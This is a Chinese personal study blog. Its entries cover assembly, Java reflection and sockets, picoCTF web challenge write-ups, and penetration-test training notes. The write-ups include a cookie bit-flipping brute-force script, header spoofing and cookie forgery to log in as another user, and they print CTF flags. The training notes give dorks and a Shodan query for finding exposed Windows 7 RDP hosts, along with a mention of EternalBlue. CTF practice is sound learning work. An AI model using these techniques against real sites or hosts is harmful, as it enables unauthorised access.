二进制/汇编笔记

2022-01-19

看课程可能是最简单的组成原理知识，可能对pwn帮助不大，权当复习吧

加 INC -编译器-> 0100 0000
减 DEC 0100 0100
乘 MUL 0100 1000 0100 1000
除 DIV 0100 1000 1100 1000

想法：运用自己的进制写编译器，来进行从根源加密

位运算加减乘除

用或与非异或实现加法
1.异或运算（如果不考虑进位，异或可以直接出结果）
2.与运算（用于判断进位，若结果为0（即所有数都为0），则没有进位）
3.将与运算的结果左移一位
4.第三步的结果和第一步的结果异或
5.确认结果，将第四步的两个数与运算，判断是否有0（判断是否有进位）
（步骤：
1.A xor B -> C
2.A and B -> D
3.if(D==0) print(C)
else D<<(D左移一位)
4.C xor D -> C
5.C and D -> D
6.if(D==0) print(C)
else D<<(D左移一位)
……

减法（转负数相加后走上面的步骤）

乘除就是按照组原的补码移位那一套使用加法就好了

汇编
1.最好从vc6开始学各种东西来了解底层
2.ollydbg

通用寄存器：
32位的通用寄存器只有8个
EAX
ECX
EDX
EBX
ESP
EBP
ESI
EDI
存值范围0-FFFFFFFF

16位：FFFF
AX
CX
DX
BX
SP
BP
SI
DI

8位：FF
AL
CL
DL
BL
AH
CH
DH
BH
8位：L低八位，H高八位

指令：
MOV：
mov 目的地址，立即数
mov 目的地址，取数地址

内存：
每个应用程序都有4GB的内存空间（可以理解为虚拟机的预设磁盘大小？虽然预设40G，但是虚拟机本身往往都没有40G）

说是二进制，但是对于内存，寄存器还有汇编的知识都不是很具体（不过比我的组原老师讲的好太多了）

展开全文 >>

JavaScript笔记

2022-01-18

“js开发只用了十天”

以后有时间补

展开全文 >>

Java注解与反射

2022-01-18

框架基于注解和反射
（反射是框架的基础，但是纯听反射越听越迷，尽量听，实在不行学框架的时候再回来听一遍）

注解：
1.@Override :重写
2.@FunctionalInterface :函数式接口
3.@Deprecated :废弃，不推荐使用
4.@SuppressWarn ：镇压警告（防止报“警告”）

注解格式：@注释名(参数)

可以通过反射机制对这些注解进行访问

内置注解：
1.@Override :重写
2.@Deprecated :废弃，不推荐使用
3.@SuppressWarn ：镇压警告（防止报“警告”）

元注解：（注解的注解）
1.@Target :描述注解的使用范围
2.@Retention :表示要在什么级别保存该注释信息，用于描述注解的生命周期（SOURCE<CLASS<RUNTIME）
3.@Documented :说明该注解被包含在javadoc中
4.@Inherited :说明子类可以继承父类中的该注解

定义一个注解
//Target 表示我们的注解可以用在哪些地方
@Targe(value={ElementType.METGOD,ElementType.TYPE})
//表示我们的注解在什么地方还有效
//SOURCE<CLASS<RUNTIME
@Retention(calue= REtentionPolicy.RUNTIME)
//Documented 说明该注解被生成在javadoc中
@Documented
//Inherited 说明子类可以继承父类中的该注解
@Inherited

自定义注解：
@interface

@Targe(value={ElementType.METGOD,ElementType.TYPE})
@Retention(calue= REtentionPolicy.RUNTIME)
@interface MyAnnotation2{
	//注解的单数：注解类型 参数名() default 默认值;  （如果不写默认值就需要在注解的时候填上值）
	String name() default "";
	int age() default 0;
	int id() default -1;//如果默认值为-1，代表不存在（返回-1）
	String[] schools() default {"西部","大学"};
}

反射：
Reflection
（取得类的任何内部信息）

package com.kuang.lesson01;

public class test02 {
    public static void main(String[] args) throws ClassNotFoundException {
        //通过反射获取类的class对象
        Class c1=Class.forName("com.kuang.lesson01.User");
        System.out.println(c1);

        //对比类是否相同（打印hashcode）
        System.out.println(c1.hashCode());
        //一个类在内存中只有一个class对象
        //一个类被加载后，类的整个结构都会被封装在Class对象中
    }

}
//实体类
class User{
    private String name ;
    private int id;
    private int age;

    public User(){

    }
    public User(String name, int id, int age){
        this.name=name;
        this.id=id;
        this.age=age;
    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public int getId() {
        return id;
    }

    public void setId(int id) {
        this.id = id;
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }

    @Override
    public String toString() {
        return "User{" +
                "name='" + name + '\'' +
                ", id=" + id +
                ", age=" + age +
                '}';
    }
}

可以用来找类的各种信息（如父类）：虽然不如编辑器好用

package com.kuang.lesson01;

//测试class类的创建方式有哪些
public class test02 {
    public static void main(String[] args) throws ClassNotFoundException {
        Person person = new Student();
        System.out.println(person.name);

        //方式一：通过对象获得
        Class c1=person.getClass();

        //方式二：forname获得
        Class c2=Class.forName("com.kuang.lesson01.Student");

        //方法三：通过类名.class获得
        Class c3= Student.class;

        //验证几个内容是否相同
        System.out.println(c1.hashCode());
        System.out.println(c2.hashCode());
        System.out.println(c3.hashCode());

        //方式四：基本内置类的包装类都有一个Type属性
        Class c4=Integer.TYPE;
        System.out.println(c4);

        //获得父类的类型
        Class c5=c1.getSuperclass();
        System.out.println(c5);


    }

}

class Person{
    public String name ;

    public Person(){

    }
    public Person(String name){
        this.name=name;
    }


    @Override
    public String toString() {
        return "User{" +
                "name='" + name + '\'' +
        '}';
    }
}

class Student extends Person{
    public Student(){
        this.name="学生";
    }
}

class Teacher extends Person{
    public Teacher(){
        this.name="老师";
    }
}

测试各种类型的class是什么

package com.kuang.lesson01;

import java.lang.annotation.ElementType;

//测试class类的创建方式有哪些
public class test02 {
    public static void main(String[] args) throws ClassNotFoundException {
        Class c1 = Object.class;//类
        Class c2 = Comparable.class;//接口
        Class c3 = String[].class;//一维数组
        Class c4 = int[][].class;//二维数组
         Class c5 = Override.class;//注解
        Class c6 = ElementType.class;//枚举
        Class c7 = Integer.class;//基本数据类型
        Class c8 = void.class;//void
        Class c9 = Class.class;//Class

        System.out.println(c1);
        System.out.println(c2);
        System.out.println(c3);
        System.out.println(c4);
        System.out.println(c5);
        System.out.println(c6);
        System.out.println(c7);
        System.out.println(c8);
        System.out.println(c9);
        
        //只要元素类型与维度一样，就是同一个class
        int[] a=new int[10];
        int[] b=new int[100];
        System.out.println(a.getClass().hashCode());
        System.out.println(b.getClass().hashCode());

    }

}

java内存(讲的不是很清楚）：
栈
Main()
堆
java.lang.Class类
new A()
……
方法区（特殊的堆）
1.静态变量
2.静态方法
3.常量池
4.代码
……

获得类的属性：

1	Field[] field=c1.getDeclaredFields();

获得类的方法：

1	Method[] nethod=c1.getDeclaredMethods();

获得构造器：

1	Constructor constructor=c1.getDeclaredConstructors();

动态创建对象：

package com.kuang.lesson01;


import java.lang.reflect.InvocationTargetException;

//通过反射动态创建对象
public class test02 {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {
        //获得Class对象
        Class c1= Class.forName("com.kuang.lesson01.User");
        //构造一个对象
        //Object user=(User)c1.newInstance();//JDK9以后废弃了
        Object user=c1.getDeclaredConstructor().newInstance();//一般用这个
        System.out.println(user);

    }

}

invoke方法：激活
set方法：操作属性
若原方法为private，需要先调用setAccessible(true)方法（开启访问权限），然后就可以访问private（取消权限检测）

性能分析：
时间：普通方式<关闭检测的反射方式<反射方式

获取泛型信息：
（一脸懵逼）

获取注解信息
获得注解
.getAnnotations()
获得注解value的值
.getAnnotations(xxx.class).value
获得类指定的注解
.getFecaresField(“xxx”).getAnnotations(xxx.class)

说实话学完了之后对注解还是一头雾水，如果以后学框架需要的话再回来补吧

展开全文 >>

java网络编程

2022-01-16

javaweb 网页编程 B/S
网络编程 TCP/IP C/S

网络通信协议
TCP/IP模型：
OSI七层架构：

Fiddler，burpsuite是应用层：抓HTTP包
wireshark貌似是直接抓物理层，然后把每一层分出来。但是不能改包和发包

ip
1.127.0.0.1（localhost）
2.分类：
ip地址分类： ipv4/ipv6
ipv4:四个字节组成，每个字节0~255，一共42亿（30亿都在北美，亚洲只有4亿，在2011年就用尽了）（说法：美国甚至能给饮水机分配ip）
ipv6:128位。8个无符号整数。
公网（互联网）/私网（局域网）：
内网ip：192.168.xx.xx、172.16.xx.xx、10.xx.xx.xx

ABCD类地址
域名：去搜www.a.com的域名，相似的价格都能到90多万（越短越贵，早些时候有抢注域名的，中文结尾的一般便宜）

java:查ip：

1
2
3

InetAddress.getByName("127.0.0.1");
InetAddress.getLOcalHost(); //查本机ip及用户名
InetAddress.getByName("www.baidu.com");

端口：
0~65535
分为TCP和UDP端口（各有65536个，互相不影响）
分类：
共有端口：0-1023（尽量不要用）
21:ftp
22:ssh
23:Telent:远程监听
80:http
443:https
程序注册端口：1024-49151，分配给用户或程序
Tomcat：8080
MYSQL：3306
Oracle：1521
动态、私有端口：49152-65535

指令：

1
2
3

netstat -ano #查询所有端口
netstat -ano|findstr "5900" #查询所有5900端口
tasklist|findstr "8696" #查看指定端口的进程

java

1	new InetSocketAddress("127.0.0.1",8080);

通信协议：
速率，传输码率，代码结构，传输控制……
TCP/IP协议簇
重要：
TCP：用户传输协议（需要交互）
UDP：用户数据报协议（不需要回包）

出名协议：
TCP
IP：网络互连协议

TCP/UDP
TCP：打电话
连接、稳定
三次握手（建立连接）（ABA），四次挥手（断开连接）（ABBA）
客户端、服务端
传输完成，释放连接，效率低
UDP：发短信
不连接、不稳定
客户端、服务端：没有明确界限
不管有没有准备好，都可以发给对方
DDOS攻击：向对方无限发包，造成端口堵塞（占据所有端口）

TCP实现聊天（JVAV）
client：

package com.kuang.lesson01;

import java.io.IOException;
import java.io.OutputStream;
import java.net.InetAddress;
import java.net.Socket;
import java.net.UnknownHostException;
import java.nio.charset.StandardCharsets;

public class client {
    public static void main(String[] args) {
        try {
            //定义端口号和ip
            InetAddress serverIP = InetAddress.getByName("127.0.0.1");
            int port=9999;
            //连接：
            Socket socket = new Socket(serverIP,port);
            //发送消息，io流：
            OutputStream os = socket.getOutputStream();
            os.write("你好".getBytes());
        } catch (UnknownHostException e) {
            e.printStackTrace();
        } catch (IOException e) {
            e.printStackTrace();
        }finally {
            //关闭资源：……
        }
    }
}

server:(有用的代码只有中间带注释的几行)

package com.kuang.lesson01;

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.net.ServerSocket;
import java.net.Socket;

public class server {
    public static void main(String[] args) {
        ServerSocket serverSocket=null;
        Socket socket=null;
        InputStream is=null;
        ByteArrayOutputStream baos=null;
        try {
            serverSocket = new ServerSocket(9999);
            //等待客户端连接过来
            socket = serverSocket.accept();
            //读取客户端的消息
            is = socket.getInputStream();

            //管道流
            baos=new ByteArrayOutputStream();
            byte[] buffer=new byte[1024];
            int len;
            while((len=is.read(buffer))!=-1){
                baos.write(buffer,0,len);
            }
            System.out.println(baos.toString());


        } catch (IOException e) {
            e.printStackTrace();
        }finally {
            //关闭资源（最好加if(baos/is/socket/serverSocker!=null))
            try {
                baos.close();
            } catch (IOException e) {
                e.printStackTrace();
            }
            try {
                is.close();
            } catch (IOException e) {
                e.printStackTrace();
            }
            try {
                socket.close();
            } catch (IOException e) {
                e.printStackTrace();
            }
            try {
                serverSocket.close();
            } catch (IOException e) {
                e.printStackTrace();
            }
        }
    }
}

文件上传：
client

package com.kuang.lesson01;

import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.OutputStream;
import java.net.InetAddress;
import java.net.Socket;
import java.net.UnknownHostException;
import java.nio.charset.StandardCharsets;

public class client {
    public static void main(String[] args) {
        try {
            //定义端口号和ip
            InetAddress serverIP = InetAddress.getByName("127.0.0.1");
            int port=9999;
            //连接：
            Socket socket = new Socket(serverIP,port);
            //发送消息，io流：
            OutputStream os = socket.getOutputStream();
            //文件流
            FileInputStream fis=new FileInputStream(new File("scr"));
            //写出文件
            byte[] buffer = new byte[1024];
            int len;
            while((len=fis.read(buffer))!=-1){
                os.write(buffer,0,len);
            }
        } catch (UnknownHostException e) {
            e.printStackTrace();
        } catch (IOException e) {
            e.printStackTrace();
        }finally {
            //关闭资源：……
        }
    }
}

package com.kuang.lesson01;

import java.io.*;
import java.net.ServerSocket;
import java.net.Socket;

public class server {
    public static void main(String[] args) {
        ServerSocket serverSocket=null;
        Socket socket=null;
        InputStream is=null;
        try {
            serverSocket = new ServerSocket(9999);
            //等待客户端连接过来
            socket = serverSocket.accept();
            //读取客户端的消息
            is = socket.getInputStream();

            //文件输出
            FileOutputStream fos= new FileOutputStream(new File("receive"));
            byte[] buffer=new byte[1024];
            int len;
            while((len=is.read(buffer))!=-1){
                fos.write(buffer,0,len);
            }



        } catch (IOException e) {
            e.printStackTrace();
        }finally {
            //关闭资源（最好加if(baos/is/socket/serverSocker!=null))
            try {
                is.close();
            } catch (IOException e) {
                e.printStackTrace();
            }
            try {
                socket.close();
            } catch (IOException e) {
                e.printStackTrace();
            }

        }
    }
}

UDP
发短信：不用连接，需要地址
发送：

package com.kuang.lesson01;

import java.net.*;


public class client {
    public static void main(String[] args) {
            //建立一个socket
            DatagramSocket socket = new DatagramSocket();
            //建个包：
            String msg="你好";
            //定义端口号和ip
            InetAddress serverIP = InetAddress.getByName("127.0.0.1");
            int port=9999;
            //数据，数据的长度（起始），要发送给谁
            DatagramPacket packet=new DatagramPacket(msg.getBytes(),0,msg.getBytes().length,serverIP,port);
            //发送包：
            socket.send(packet);
            //关闭流：
            socket.close();

        }
    }
}

接收：

package com.kuang.lesson01;
import java.net.*;

public class server {
    public static void main(String[] args) {
        //开放端口
        DatagramSocket socket = null;
        socket = new DatagramSocket(9999);
        //接收数据包
        byte[] buffer= new byte[1024];
        DatagramPacket packet=new DatagramPacket(buffer,0,buffer.length);
        socket.receive(packet);//阻塞接收
        System.out.println(new String(packet.getData(),0, packet.getLength()));//打印
        //关闭连接
        socket.close();
    }

展开全文 >>

picoctf刷题

2022-01-16

cookies
看提示是Welcome to my cookie search page. See how much I like different kinds of cookies!
先抓包发现cookies的值为-1
底下的框的内容是snickerdoodle，输入试试
发现页面上显示I love snickerdoodle cookies!
然后抓包发现cookie的值为0，猜测是爆破数字（只是加了个重定向），然后爆破到18的时候出了flag

GET aHEAD
又是文件协议，特容易被忽略
可使用协议如下：
GET：请求指定的页面信息，并返回实体主体。
HEAD：只请求页面的首部。
POST：请求服务器接受所指定的文档作为对所标识的URI的新的从属实体。
PUT：从客户端向服务器传送的数据取代指定的文档的内容。
DELETE：请求服务器删除指定的页面。
OPTIONS：允许客户端查看服务器的性能。
TRACE：请求服务器在响应中的实体主体部分返回所得到的内容。
PATCH：实体中包含一个表，表中说明与该URI所表示的原内容的区别。
MOVE：请求服务器将指定的页面移至另一个网络地址。
COPY：请求服务器将指定的页面拷贝至另一个网络地址
LINK：请求服务器建立链接关系。
UNLINK：断开链接关系。
WRAPPED：允许客户端发送经过封装的请求。
Extension-mothed：在不改动协议的前提下，可增加另外的方法。

Insp3ct0r
直接查看源代码，发现获得1/3的flag，然后提示这是html，三个分别在html，css，js中，直接打开上面的css，js，获得完整的flag

Scavenger Hunt
方法和上一个差不多，只不过打开js发现是一句How can I keep Google from indexing my website?不是很理解应该怎么办，只能去扫目录，发现/robots.txt，/.DS_Store和/.htaccess/
出题人的意思应该是通过设置/robots.txt来阻止Google的索引，然后打开这个后提示I think this is an apache server… can you Access the next flag?
为了查看apache的配置而访问/.htaccess/，提示I love making websites on my Mac, I can Store a lot of information there.
然后通过mac的文件泄露联想到/.DS_Store，然后获取最后一部分flag

Some Assembly Required 1
感觉就是闲的
打开以后是一个文本框，检查源代码看见一个js，内容如下：

const _0x402c=['value','2wfTpTR','instantiate','275341bEPcme','innerHTML','1195047NznhZg','1qfevql','input','1699808QuoWhA','Correct!','check_flag','Incorrect!','./JIFxzHyW8W','23SMpAuA','802698XOMSrr','charCodeAt','474547vVoGDO','getElementById','instance','copy_char','43591XxcWUl','504454llVtzW','arrayBuffer','2NIQmVj','result'];const _0x4e0e=function(_0x553839,_0x53c021){_0x553839=_0x553839-0x1d6;let _0x402c6f=_0x402c[_0x553839];return _0x402c6f;};(function(_0x76dd13,_0x3dfcae){const _0x371ac6=_0x4e0e;while(!![]){try{const _0x478583=-parseInt(_0x371ac6(0x1eb))+parseInt(_0x371ac6(0x1ed))+-parseInt(_0x371ac6(0x1db))*-parseInt(_0x371ac6(0x1d9))+-parseInt(_0x371ac6(0x1e2))*-parseInt(_0x371ac6(0x1e3))+-parseInt(_0x371ac6(0x1de))*parseInt(_0x371ac6(0x1e0))+parseInt(_0x371ac6(0x1d8))*parseInt(_0x371ac6(0x1ea))+-parseInt(_0x371ac6(0x1e5));if(_0x478583===_0x3dfcae)break;else _0x76dd13['push'](_0x76dd13['shift']());}catch(_0x41d31a){_0x76dd13['push'](_0x76dd13['shift']());}}}(_0x402c,0x994c3));let exports;(async()=>{const _0x48c3be=_0x4e0e;let _0x5f0229=await fetch(_0x48c3be(0x1e9)),_0x1d99e9=await WebAssembly[_0x48c3be(0x1df)](await _0x5f0229[_0x48c3be(0x1da)]()),_0x1f8628=_0x1d99e9[_0x48c3be(0x1d6)];exports=_0x1f8628['exports'];})();function onButtonPress(){const _0xa80748=_0x4e0e;let _0x3761f8=document['getElementById'](_0xa80748(0x1e4))[_0xa80748(0x1dd)];for(let _0x16c626=0x0;_0x16c626<_0x3761f8['length'];_0x16c626++){exports[_0xa80748(0x1d7)](_0x3761f8[_0xa80748(0x1ec)](_0x16c626),_0x16c626);}exports['copy_char'](0x0,_0x3761f8['length']),exports[_0xa80748(0x1e7)]()==0x1?document[_0xa80748(0x1ee)](_0xa80748(0x1dc))[_0xa80748(0x1e1)]=_0xa80748(0x1e6):document[_0xa80748(0x1ee)](_0xa80748(0x1dc))[_0xa80748(0x1e1)]=_0xa80748(0x1e8);}
先进行简单的分割，以及把正经的16进制转换出来以便于阅读（因为_0x4e0e这个函数过于常见，所以一起换掉）：（sublime超级好用的js排版插件https://blog.csdn.net/waterdemo/article/details/38110863）
const _0x402c = ["value", "2wfTpTR", "instantiate", "275341bEPcme", "innerHTML", "1195047NznhZg", "1qfevql", "input", "1699808QuoWhA", "Correct!", "check_flag", "Incorrect!", "./JIFxzHyW8W", "23SMpAuA", "802698XOMSrr", "charCodeAt", "474547vVoGDO", "getElementById", "instance", "copy_char", "43591XxcWUl", "504454llVtzW", "arrayBuffer", "2NIQmVj", "result"];
const _0x4e0e = function(url, whensCollection) {
  /** @type {number} */
  url = url - 470;
  let _0x402c6f = _0x402c[url];
  return _0x402c6f;
};
(function(data, oldPassword) {
  const toMonths = _0x4e0e;
  for (; !![];) {
    try {
      const userPsd = -parseInt(toMonths(491)) + parseInt(toMonths(493)) + -parseInt(toMonths(475)) * -parseInt(toMonths(473)) + -parseInt(toMonths(482)) * -parseInt(toMonths(483)) + -parseInt(toMonths(478)) * parseInt(toMonths(480)) + parseInt(toMonths(472)) * parseInt(toMonths(490)) + -parseInt(toMonths(485));
      if (userPsd === oldPassword) {
        break;
      } else {
        data["push"](data["shift"]());
      }
    } catch (_0x41d31a) {
      data["push"](data["shift"]());
    }
  }
})(_0x402c, 627907);
let exports;
(async() => {
  const findMiddlePosition = _0x4e0e;
  let leftBranch = await fetch(findMiddlePosition(489));
  let rightBranch = await WebAssembly[findMiddlePosition(479)](await leftBranch[findMiddlePosition(474)]());
  let module = rightBranch[findMiddlePosition(470)];
  exports = module["exports"];
})();
/**
 * @return {undefined}
 */
function onButtonPress() {
  const navigatePop = _0x4e0e;
  let params = document["getElementById"](navigatePop(484))[navigatePop(477)];
  for (let i = 0; i < params["length"]; i++) {
    exports[navigatePop(471)](params[navigatePop(492)](i), i);
  }
  exports["copy_char"](0, params["length"]);
  if (exports[navigatePop(487)]() == 1) {
    document[navigatePop(494)](navigatePop(476))[navigatePop(481)] = navigatePop(486);
  } else {
    document[navigatePop(494)](navigatePop(476))[navigatePop(481)] = navigatePop(488);
  }
}
;

然后很容易发现，文本框调用了onButtonPress()函数，所以直接追这个函数就行
发现调用了大量的_0x4e0e函数（navigatePop）
阅读代码：

const _0x4e0e = function(url, whensCollection) {
  /** @type {number} */
  url = url - 470;
  let _0x402c6f = _0x402c[url];
  return _0x402c6f;
};

发现，逻辑是读取一个数字，减去470后在前面的_0x402c取字符串
所以导出对应关系：

_0x4e0e(470)=value
'value' 470
'2wfTpTR' 471
'instantiate' 472
'275341bEPcme' 473
'innerHTML' 474
'1195047NznhZg' 475
'1qfevql' 476
'input' 477
'1699808QuoWhA' 478
'Correct!' 479
'check_flag' 480
'Incorrect!' 481
'./JIFxzHyW8W' 482
'23SMpAuA' 483
'802698XOMSrr' 484
'charCodeAt' 485
'474547vVoGDO' 486 
'getElementById' 487
'instance' 488
'copy_char' 489
'43591XxcWUl' 490
'504454llVtzW' 491
'arrayBuffer' 492
'2NIQmVj' 493
'result' 494
然后是会先调用function(data, oldPassword)函数，对上面的数组进行打乱：
函数内容为：
(function(data, oldPassword) {
  const toMonths = _0x4e0e;
  for (; !![];) {
    try {
      const userPsd = -parseInt('504454llVtzW') + parseInt('2NIQmVj') + -parseInt('1195047NznhZg') * -parseInt('275341bEPcme') + -parseInt('./JIFxzHyW8W') * 
-parseInt('23SMpAuA') + -parseInt('1699808QuoWhA') * parseInt('check_flag') + parseInt('instantiate') * parseInt('43591XxcWUl') + -parseInt('charCodeAt');
      if (userPsd === oldPassword) {
        break;
      } else {
        data["push"](data["shift"]());
      }
    } catch (_0x41d31a) {
      data["push"](data["shift"]());
    }
  }
})(_0x402c, 627907);

其中parseInt函数的作用是把字符串解析成数字：https://www.runoob.com/jsref/jsref-parseint.html
懒得手算，所以转换成JavaScript打印出转换的值，加入：

1
2
3

var arr = str.split(" ");
for(var key in _0x402c){
 document.writeln(arr[key]);

完善onButtonPress()函数：

(async() => {
  const findMiddlePosition = _0x4e0e;
  let leftBranch = await fetch("./JIFxzHyW8W");
  let rightBranch = await WebAssembly["instantiate"](await leftBranch["arrayBuffer"]());
  let module = rightBranch["instance"];
  exports = module["exports"];
})();
/**
 * @return {undefined}
 */
function onButtonPress() {
  const navigatePop = _0x4e0e;
  let params = document["getElementById"]("input")["value"];
  for (let i = 0; i < params["length"]; i++) {
    exports["copy_char"](params["charCodeAt"](i), i);
  }
  exports["copy_char"](0, params["length"]);
  if (exports["check_flag"]() == 1) {
    document["getElementById"]("result")["innerHTML"] = "Correct!";
  } else {
    document["getElementById"]("result")["innerHTML"] = "Incorrect!";
  }
};

然后我们发现：没什么卵用。
无非就是输对了代码以后会显示correct，输错了会显示incorrect
然后回去看题目，提到了Assembly，也就是混淆这玩意的东西，所以可能是让我们找混淆这玩意的代码，直接F12,调到source，发现有个wasm，那就是代码的混淆规则，在最后找到了flag

实际上：因为那一大堆字符串里面只有一个./JIFxzHyW8W像路径，按路径去试的话，一下子就出来了

More Cookies
因为涉及密码学的知识，所以完全是知识盲区

似乎是利用了AES CBC这种加密方法
简单了解了一下，发现这似乎并不完全算是“加密”，而是“生成”
这种算法是，假如我有一串字符串A
将A经过Base64加密，生成B
随机生成两个数a和b（a<=128,b<=128）
将B的第a个字符（换成ascii码）异或b（换成字符），生成C
然后C再进行一次base64加密，得到D，就是我们最后获取的cookie

所以，由p XOR q = r 推出 p XOR r = q 得逆运算：
cookie用base64解密得C
C的第a个字符异或b得到B
B再被base64解密得到A，就是需要的cookie

所以爆破脚本：
#!/usr/bin/python2
import requests
import base64

s=requests.Session()
s.get(“http://mercury.picoctf.net:43275/")
cookie=s.cookies[“auth_name”]
print(cookie)
unb64=base64.b64decode(cookie)
print(unb64)
unb64b=base64.b64decode(unb64)
for i in range (0,128):
pos=i//8
guessdec=unb64b[0:pos]+chr(ord(unb64b[pos])^(1<<(i%8)))+unb64b[pos+1:]
guessenc1 = base64.b64encode(guessdec)
guess=base64.b64encode(base64.b64encode(guessdec))
r=requests.get(“http://mercury.picoctf.net:43275/",cookies={"auth_name": guess})
if “pico” in r.text:
print(r.text)

where are the robots
估计是考robots.txt，试了试发现内容是User-agent: * Disallow: /1bb4c.html，直接访问拿到flag

login
离谱
先是用什么账号和密码都能登上去，提示是登录Joe的账号，事实上只有Joe登不上去
尝试sql注入失败，估计不会爆破就没试
结果正确方法是：
先随便用一个账号和密码登录，发现cookie的内容为
username=123
password=456
456=False
所以把username的值改为Joe，把False改成True后刷新，就出flag了

dont-use-client-side
打开后是个输入框，尝试输几个都失败了，看源码，发现前端代码：

function verify() {
   checkpass = document.getElementById("pass").value;
   split = 4;
   if (checkpass.substring(0, split) == 'pico') {
     if (checkpass.substring(split*6, split*7) == '706c') {
       if (checkpass.substring(split, split*2) == 'CTF{') {
        if (checkpass.substring(split*4, split*5) == 'ts_p') {
         if (checkpass.substring(split*3, split*4) == 'lien') {
           if (checkpass.substring(split*5, split*6) == 'lz_b') {
             if (checkpass.substring(split*2, split*3) == 'no_c') {
               if (checkpass.substring(split*7, split*8) == '5}') {
                 alert("Password Verified")
                 }
               }
             }
     
           }
         }
       }
     }
   }
   else {
     alert("Incorrect password");
   }
   
 }

很明显，输入正确的字符串就是flag，所以这个时候最简单的方法就是：拿这一大堆字符串去爆破flag
picoCTF{ 和 5}都给了，要爆破的也就只有五个（开玩笑的）
直接看也不难，就是个拼接（数数）
pico
CTF{
no_c
lien
ts_p
lz_b
706c
5}

It is my Birthday
打开以后要上传两个文件，盲猜是要碰撞了，但不知道是什么碰撞
所以先传两个试试
发现需要传pdf，那就传
发现Files are not different! 那就传不一样的
回显MD5 hashes do not match!
猜的没错，md5碰撞
随便从网上找两个抄上去
然后就出答案了，而且非常贴心的给了源码！

<?php

if (isset($_POST["submit"])) {
    $type1 = $_FILES["file1"]["type"];
    $type2 = $_FILES["file2"]["type"];
    $size1 = $_FILES["file1"]["size"];
    $size2 = $_FILES["file2"]["size"];
    $SIZE_LIMIT = 18 * 1024;

    if (($size1 < $SIZE_LIMIT) && ($size2 < $SIZE_LIMIT)) {
        if (($type1 == "application/pdf") && ($type2 == "application/pdf")) {
            $contents1 = file_get_contents($_FILES["file1"]["tmp_name"]);
            $contents2 = file_get_contents($_FILES["file2"]["tmp_name"]);

            if ($contents1 != $contents2) {
                if (md5_file($_FILES["file1"]["tmp_name"]) == md5_file($_FILES["file2"]["tmp_name"])) {
                    highlight_file("index.php");
                    die();
                } else {
                    echo "MD5 hashes do not match!";
                    die();
                }
            } else {
                echo "Files are not different!";
                die();
            }
        } else {
            echo "Not a PDF!";
            die();
        }
    } else {
        echo "File too large!";
        die();
    }
}

// FLAG: picoCTF{c0ngr4ts_u_r_1nv1t3d_aebcbf39}

?>
<!DOCTYPE html>
<html lang="en">

<head>
    <title>It is my Birthday</title>


    <link href="https://maxcdn.bootstrapcdn.com/bootstrap/3.2.0/css/bootstrap.min.css" rel="stylesheet">

    <link href="https://getbootstrap.com/docs/3.3/examples/jumbotron-narrow/jumbotron-narrow.css" rel="stylesheet">

    <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>

    <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js"></script>


</head>

<body>

    <div class="container">
        <div class="header">
            <h3 class="text-muted">It is my Birthday</h3>
        </div>
        <div class="jumbotron">
            <p class="lead"></p>
            <div class="row">
                <div class="col-xs-12 col-sm-12 col-md-12">
                    <h3>See if you are invited to my party!</h3>
                </div>
            </div>
            <br/>
            <div class="upload-form">
                <form role="form" action="/index.php" method="post" enctype="multipart/form-data">
                <div class="row">
                    <div class="form-group">
                        <input type="file" name="file1" id="file1" class="form-control input-lg">
                        <input type="file" name="file2" id="file2" class="form-control input-lg">
                    </div>
                </div>
                <div class="row">
                    <div class="col-xs-12 col-sm-12 col-md-12">
                        <input type="submit" class="btn btn-lg btn-success btn-block" name="submit" value="Upload">
                    </div>
                </div>
                </form>
            </div>
        </div>
    </div>
    <footer class="footer">
        <p>&copy; PicoCTF</p>
    </footer>

</div>

<script>
$(document).ready(function(){
    $(".close").click(function(){
        $("myAlert").alert("close");
    });
});
</script>
</body>

</html>

Who are you?
打开以后是一句话：Only people who use the official PicoBrowser are allowed on this site!
看来是检测浏览器信息了，应该是查的header的User-Agent，改成PicoBrowser就好
发现I don’t trust users visiting from another site.
那估计是referer吧，改成它自己的网址
发现Sorry, this site only worked in 2018.
Date参数2018
回：I don’t trust users who can be tracked.
DNT:dnt
回：This website is only for people from Sweden.
需要瑞典的ip，xff，找个ip填上去
回：You’re in Sweden but you don’t speak Swedish?
改Accept-Language:sv
拿到flag
感想：我那次出的还是保守了

(async()=>{await new Promise((e=>window.addEventListener("load",e))),document.querySelector("form").addEventListener("submit",(e=>{e.preventDefault();const r={u:"input[name=username]",p:"input[name=password]"},t={};for(const e in r)t[e]=btoa(document.querySelector(r[e]).value).replace(/=/g,"");return"YWRtaW4"!==t.u?alert("Incorrect Username"):"cGljb0NURns1M3J2M3JfNTNydjNyXzUzcnYzcl81M3J2M3JfNTNydjNyfQ"!==t.p?alert("Incorrect Password"):void alert(`Correct Password! Your flag is ${atob(t.p)}.`)}))})();

用sublime排一下版：

(async () => {
	await new Promise((e => window.addEventListener("load", e))), document.querySelector("form").addEventListener("submit", (e => {
		e.preventDefault();
		const r = {
				u: "input[name=username]",
				p: "input[name=password]"
			},
			t = {};
		for (const e in r) t[e] = btoa(document.querySelector(r[e]).value).replace(/=/g, "");
		return "YWRtaW4" !== t.u ? alert("Incorrect Username") : "cGljb0NURns1M3J2M3JfNTNydjNyXzUzcnYzcl81M3J2M3JfNTNydjNyfQ" !== t.p ? alert("Incorrect Password") : void alert(`Correct Password! Your flag is ${atob(t.p)}.`)
	}))
})();

因为一开始爆出了admin，用base64加密后是YWRtaW4=，和对比的正好差一个=
发现貌似会base64加密后把=给去掉
本以为后面那个要试着加=，但是好像直接解码就出结果了

展开全文 >>

pte培训

2022-01-16

百度：intitle:后台 inurl:admin、
查询子域名作为跳板 site:baidu.com
shodan：port:3389 os:windows7 
永恒之蓝

查询地址范围：censys（查国外ip段）
cnnic（查国内ip段）

wappalyzer（查询网站使用了哪些插件）

密码：qianxin.com

指纹识别插件：whatrun

查询是否套过cdn，先ping，然后访问ip，访问不了有可能是套过cdn

